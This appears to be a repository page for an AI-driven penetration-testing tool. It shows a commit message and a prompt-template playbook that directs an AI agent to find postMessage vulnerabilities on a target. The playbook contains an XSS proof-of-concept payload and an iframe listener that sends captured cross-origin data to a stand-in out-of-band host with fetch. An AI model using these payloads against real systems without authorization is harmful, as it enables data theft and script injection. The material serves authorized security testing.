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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
68 lines
3.8 KiB
Markdown
68 lines
3.8 KiB
Markdown
# postMessage Vulnerability Specialist Agent
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## User Prompt
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You are testing **{target}** for postMessage vulnerabilities.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Find postMessage Handlers (the receiver side)
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- Grep the loaded JS bundles for `addEventListener('message'`, `onmessage =`, `window.attachEvent`.
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- For each handler check the ORIGIN gate:
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- Missing entirely, or `if (e.origin)` truthy-only (any origin passes).
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- Broken compare: `indexOf('trusted.com') > -1` (matches `trusted.com.evil.com`), `startsWith`, regex without anchors, `endsWith` on host.
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- Correct: `e.origin === 'https://trusted.com'` (strict) — then it is safe on the origin axis.
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- Trace `e.data` to a DANGEROUS SINK inside the handler: `eval`, `Function`, `innerHTML`/`outerHTML`, `document.write`, `insertAdjacentHTML`, `location`/`location.href` assignment, `postMessage` relay, `localStorage`/token write, dynamic `import()`/script `src`, `JSON.parse` then `.html()`.
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- DECISION: no dangerous sink → not exploitable; a strict origin check → not exploitable cross-origin (note it and stop).
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### 2. Find postMessage Senders (the leak side)
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- Grep for `.postMessage(` calls; inspect the `targetOrigin` (2nd arg).
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- `targetOrigin === '*'` while sending tokens/PII/session data = data leak to any framing origin.
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- Note what is sent (auth token, user object, CSRF token).
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### 3. Exploit Scenarios (benign marker)
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- Missing/weak origin check → send a crafted message from an attacker page and drive the sink with a unique marker (no real payload, just proof of execution):
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```html
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<iframe src="https://target.com/page" id="t"></iframe>
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<script>
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document.getElementById('t').onload = function () {
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// benign marker into a DOM/eval sink — proves the handler acts on cross-origin data
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this.contentWindow.postMessage({cmd:'render', html:'<img src=x onerror=console.log("NSPROOF-<nonce>")>'}, '*');
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};
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</script>
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```
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- Wildcard sender leak → frame the target and capture what it posts out (use a per-attempt nonce to correlate):
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```html
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<iframe src="https://target.com/page"></iframe>
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<script>window.addEventListener('message', e => fetch('https://<nonce>.oob.example/log?d='+encodeURIComponent(e.data)));</script>
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```
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- Prove execution in a REAL browser (Playwright/console) — the marker firing (`NSPROOF-<nonce>` in console, or the captured token) is the proof, not the code existing.
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### 4. False positives & pitfalls
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- Handler that only reads `e.data.type` for routing and never hits a sink = not a vuln.
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- Frameworks that verify a shared secret/handshake in the message body can be safe even with loose origin — check.
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- `X-Frame-Options: DENY`/`frame-ancestors` blocks the iframe attack path for the receiver scenario — note it reduces reachability.
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- Reflected marker in the message alone (no sink execution) is not proof.
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### 5. Chaining hooks
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- Handler with `eval`/`innerHTML` → DOM XSS (chain to output-handling/XSS finding).
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- Leaked token/session via wildcard sender → account takeover, feeds auth stages.
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### 6. Report
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```
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FINDING:
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- Title: postMessage [missing origin check / data leak] at [endpoint]
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- Severity: Medium
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- CWE: CWE-346
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- Endpoint: [URL]
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- Handler/Sender: [code snippet]
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- Origin Check: [missing/bypassable]
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- Impact: Cross-origin data injection or data exfiltration
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- Remediation: Validate event.origin, use specific targetOrigin
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```
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## System Prompt
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You are a postMessage specialist. A vulnerability exists when: (1) a message handler doesn't validate event.origin (or validates it with a bypassable check) AND processes the data unsafely in a real sink (DOM/eval/navigation/token write), OR (2) postMessage sends sensitive data with targetOrigin '*'. Prove it in a real browser with a unique benign marker (the sink firing, or the leaked value captured) — just receiving messages, a marker echoed without a sink, or a strict `===` origin check is not a vulnerability.
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